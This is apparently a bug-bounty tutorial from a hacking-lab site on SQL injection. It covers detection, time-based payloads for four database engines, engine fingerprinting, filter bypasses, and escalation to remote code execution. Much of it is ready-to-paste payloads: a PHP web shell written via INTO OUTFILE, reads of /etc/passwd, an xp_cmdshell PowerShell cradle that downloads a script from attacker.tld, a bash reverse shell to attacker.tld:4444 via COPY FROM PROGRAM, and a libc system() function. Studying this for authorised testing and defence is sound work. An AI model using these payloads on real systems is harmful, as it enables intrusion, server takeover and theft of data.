Quick answer
SQLi is still active in 2026 — much less common in modern SaaS but abundant in legacy apps, admin panels and partially cross-validated fields. The methodology is: detect (isomorphic queries) → confirm (time-based on the identified engine) → extract (UNION or boolean-based) → escalate (RCE via OUTFILE, xp_cmdshell or UDFs). Typical bounties: €1,000-€5,000+ depending on severity.
Detection — isomorphic queries
Before aggressive payloads, try equivalent inputs that only give the same result if the query executes:
| Context | Test A | Test B (isomorphic) | Signal |
|---|---|---|---|
| Numeric | id=1 | id=2-1 | Arithmetic executes |
| Numeric | id=1 | id=1+'' | String concat executes |
| LIKE | q=Big | q=Big%% | Wildcard % not escaped |
| String | name=Big | name=Big' ' | Quote not escaped |
A successful double % reveals a LIKE context (not WHERE =). Lighter, less WAF detection, it identifies the exact context before throwing payloads.
Time-based payloads per engine
MySQL
' AND SLEEP(5)-- -
" AND SLEEP(5)-- -
') AND SLEEP(5)-- -
' AND (SELECT SLEEP(5))-- -
1 AND SLEEP(5)-- -
' OR SLEEP(5)-- -
' AND BENCHMARK(10000000,SHA1('test'))-- -
MSSQL
'; WAITFOR DELAY '0:0:5'-- -
"; WAITFOR DELAY '0:0:5'-- -
'); WAITFOR DELAY '0:0:5'-- -
1; WAITFOR DELAY '0:0:5'-- -
PostgreSQL
'; SELECT pg_sleep(5)-- -
' AND (SELECT pg_sleep(5))-- -
1; SELECT pg_sleep(5)-- -
' || pg_sleep(5)-- -
SQLite
' AND 1=RANDOMBLOB(500000000)-- -
" AND 1=RANDOMBLOB(500000000)-- -
') AND 1=RANDOMBLOB(500000000)-- -
Measure the latency: 200ms → 5+s confirms execution. Repeat 3 times to rule out a false positive from network jitter.
Engine identification
After confirming SQLi, identify:
| Test | If it responds fast | Engine |
|---|---|---|
version() | string | MySQL/PostgreSQL |
@@version | MSSQL version | MSSQL |
sqlite_version() | "3.x" | SQLite |
' UNION SELECT @@version-- | string in the response | MySQL/MSSQL |
' AND 1=1::int-- | OK | PostgreSQL |
Precise engine identification unlocks the correct payloads.
SQL → RCE
When you get SQLi on an endpoint with sufficient privileges, it's RCE on the server. By engine:
MySQL — INTO OUTFILE web shell
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -
Requirements: FILE privilege, knowing a writable path served by the web server.
MySQL — LOAD_FILE
' UNION SELECT LOAD_FILE('/etc/passwd')-- -
' UNION SELECT LOAD_FILE(0x2f6574632f706173737764)-- - # hex bypass de filtros
MSSQL — xp_cmdshell
'; EXEC xp_cmdshell 'whoami'-- -
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.tld/shell.ps1'')"'-- -
If xp_cmdshell is disabled, reconfiguring is usually enough (some SQL accounts have sp_configure permissions).
PostgreSQL — COPY FROM PROGRAM
'; CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';-- -
'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker.tld/4444 0>&1"';-- -
PostgreSQL — C UDF
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('whoami');
Requires high privileges (SUPERUSER).
Cross-field bypass — the enrollment case
When filters are applied partially across different fields:
- Field A (
enrollmentNumber): enforces an exact length of 6 characters. - Field B (
nationalId): strips single and double quotes.
enrollmentNumber = 'OR '' (6 chars exactos, satisface length)
nationalId = =2 UNION SELECT CONCAT(...)-- - (sin comillas, pasa quote filter)
The original query:
WHERE a.enrollmentNumber = '$enrollmentNumber'
AND a.nationalId = '$nationalId'
With the injection:
WHERE a.enrollmentNumber='' OR ''' AND a.nationalId='=2 UNION SELECT...-- -'
enrollmentNumber=''→ false.OR '''→ closes and reopens quotes, turnsAND a.nationalId='into a string.- The content of
nationalId(without quotes) executes as SQL.
UNION without quotes using CHAR():
=2 UNION SELECT CONCAT(STUDENTID, CHAR(32), STUDENTNAME, CHAR(32), NATIONALID, CHAR(32), EMAIL) FROM STUDENT WHERE STUDENTID = 10425-- -
Pattern to look for: apps with multiple fields where each has different validations. Partial filters on separate fields combine into a full bypass.
PostgreSQL double-dash injection
A curious case: a negative numeric parameter in an arithmetic operation.
SELECT balance - ? FROM accounts -- con param = -1
-- Interpola a: SELECT balance --1 FROM accounts
-- PostgreSQL trata "--1" como line comment (MySQL requiere whitespace después de --)
Requirements:
- PostgreSQL (not MySQL/SQLite).
- Simple query protocol (not extended/prepared statements).
- A numeric parameter in an arithmetic context (
balance - ?).
Escalation with a multi-line string + newline in another parameter breaks the comment and allows injecting arbitrary SQL.
Correct fix: wrap negatives in parentheses (-42).
Hunting methodology
[ ] Identificar todos los endpoints con parámetros numéricos
[ ] Aplicar isomorphic queries para detectar primer signal
[ ] Confirmar con time-based del motor identificado
[ ] Extracción mínima (database name, version)
[ ] Decisión: ¿UNION-based, boolean-based, time-based?
[ ] Si privileges altos: probar RCE (OUTFILE/xp_cmdshell/COPY FROM PROGRAM)
[ ] Documentar PoC completo con request + response visible
Burp + sqlmap is useful to automate parts, but manual first to identify the context.
Hunting checklist
- Are there endpoints where the ID travels in the URL/body without clear parameterization?
- Does the app have admin panels or legacy modules with direct SQL?
- Are the errors verbose with DB stack traces?
- Searches with
LIKE(q=)? Try wildcards and quotes. - Numeric parameters in arithmetic operations? (postgres double-dash).
- Multiple fields with different validations? → cross-field bypass.
Related labs
Practice time-based, UNION extraction and SQLi → RCE on apps with four engines: SQL Injection labs.
Practice this in a lab
Sqli
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
Command Injection — bypasses with spaces, encoding and backticks
Command injection in endpoints that pass input to the shell. Filter bypasses: ${IFS}, $@, ;|&, encoded null bytes, output redirection to a file.
SSTI — Server-Side Template Injection in Jinja2, Twig, Velocity and Freemarker
Detection with polyglots, engine identification, escalation to RCE in Jinja2/Python, Twig/PHP, Velocity/Java. Patterns where user input reaches templates.
Headless browsers — SSRF and RCE in endpoints that render URLs
Endpoints that accept URLs for screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) are an SSRF goldmine: cloud metadata, file://, gopher://, JS injection with XSS-to-RCE in the chromium sandbox.